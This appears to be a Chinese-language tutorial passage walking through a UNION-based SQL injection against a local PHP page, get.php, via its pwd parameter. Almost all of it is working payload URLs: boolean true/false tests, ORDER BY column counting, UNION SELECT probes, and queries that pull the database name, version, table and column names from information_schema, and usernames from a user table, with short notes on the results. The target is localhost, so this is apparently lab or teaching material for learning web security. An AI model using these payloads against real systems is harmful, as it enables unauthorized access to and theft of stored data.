http://localhost:8888/get.php?pwd=ryan%' and 1=1 and '%'='
或者
http://localhost:8888/get.php?pwd=ryan%' and 1=1 --+
复制代码
正常显示
继续尝试以下payload
http://localhost:8888/get.php?pwd=ryan%' and 1=2 and '%'='
复制代码
无内容显示
通过以上测试,证明存在SQL注入漏洞
使用 order by 判断列数
http://localhost:8888/get.php?pwd=ryan%' order by 5 --+
复制代码
order by 5时,报错
http://localhost:8888/get.php?pwd=ryan%' order by 4 --+
复制代码
order by 4 时,正常显示
说明该数据表列数为4
判断回显位
http://localhost:8888/get.php?pwd=abc%' union select 1,2,3,4 --+
复制代码
获取数据库名
http://localhost:8888/get.php?pwd=abc%' union select 1,database(),version(),4 --+
复制代码
获取表名
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4 --+
复制代码
获取列名
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user'),3,4 --+
复制代码
获取数据
http://localhost:8888/get.php?pwd=abc%' union select 1,(select group_concat(username) from user),3,4 --+